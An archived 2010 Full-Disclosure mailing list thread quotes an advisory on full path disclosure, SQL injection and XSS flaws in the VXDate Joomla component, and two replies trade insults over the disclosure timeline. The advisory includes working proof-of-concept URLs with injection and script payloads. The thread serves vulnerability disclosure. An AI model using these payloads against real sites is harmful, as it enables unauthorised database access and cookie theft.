full-disclosure - Re: Vulnerabilities in VXDate for Joomla

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <282134E75BDEB64E943CAF38C80BDD8A0380E87F@PRO-EXCHANGESRV.experian.dk>
Date: Mon, 22 Mar 2010 12:41:52 +0100
From: "Anders Klixbull" <akl@...erian.dk>
To: "julian steward" <julian.steward09@...il.com>,
	"MustLive" <mustlive@...security.com.ua>,
	<full-disclosure@...ts.grok.org.uk>
Subject: Re: Vulnerabilities in VXDate for Joomla

bohooo stop crying
he can disclose bugs when he feels like it
if you dont like that then go suck a lemon
 
 

________________________________

From: full-disclosure-bounces@...ts.grok.org.uk
[mailto:full-disclosure-bounces@...ts.grok.org.uk] On Behalf Of julian
steward
Sent: 22. marts 2010 00:16
To: MustLive; full-disclosure@...ts.grok.org.uk
Subject: Re: [Full-disclosure] Vulnerabilities in VXDate for Joomla


7 month to inform the dev's, what kind of asshole are you ?

Oh wait, were you hacking some n00bs website, with your shitty dork ?


2010/3/17 MustLive <mustlive@...security.com.ua>


	Hello Full-Disclosure!
	
	I want to warn you about vulnerabilities in component VXDate for
Joomla.
	
	-----------------------------
	Advisory: Vulnerabilities in VXDate for Joomla
	-----------------------------
	URL: http://websecurity.com.ua/3849/
	-----------------------------
	Timeline:
	
	10.05.2009 - found the vulnerabilities.
	12.01.2010 - announced at my site.
	18.01.2010 - informed developers.
	13.03.2010 - disclosed at my site.
	-----------------------------
	Details:
	
	These are Full path disclosure, SQL Injection and Cross-Site
Scripting
	vulnerabilities.
	
	Full path disclosure:
	
	http://site/index.php?option=com_vxdate&ct='
	
	http://site/index.php?option=com_vxdate&ct=1&md=details&id='
	
	http://site/index.php?option=com_vxdate&ct=1&md=editform&id='
	
	SQL Injection:
	
	
http://site/index.php?option=com_vxdate&ct=1&md=details&id=-1%20or%20ver
sion()=5
	
	
http://site/index.php?option=com_vxdate&ct=1&md=editform&id=-1%20or%20ve
rsion()=5
	
	XSS:
	
	
http://site/index.php?option=com_vxdate&ct=1&md=details&id=%3Cscript%3Ea
lert(document.cookie)%3C/script%3E
	
	
http://site/index.php?option=com_vxdate&ct=1&md=editform&id=%3Cscript%3E
alert(document.cookie)%3C/script%3E
	
	Vulnerable are potentially all versions of VXDate.
	
	Best wishes & regards,
	MustLive
	Administrator of Websecurity web site
	http://websecurity.com.ua <http://websecurity.com.ua/> 
	
	_______________________________________________
	Full-Disclosure - We believe in it.
	Charter: http://lists.grok.org.uk/full-disclosure-charter.html
	Hosted and sponsored by Secunia - http://secunia.com/



Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/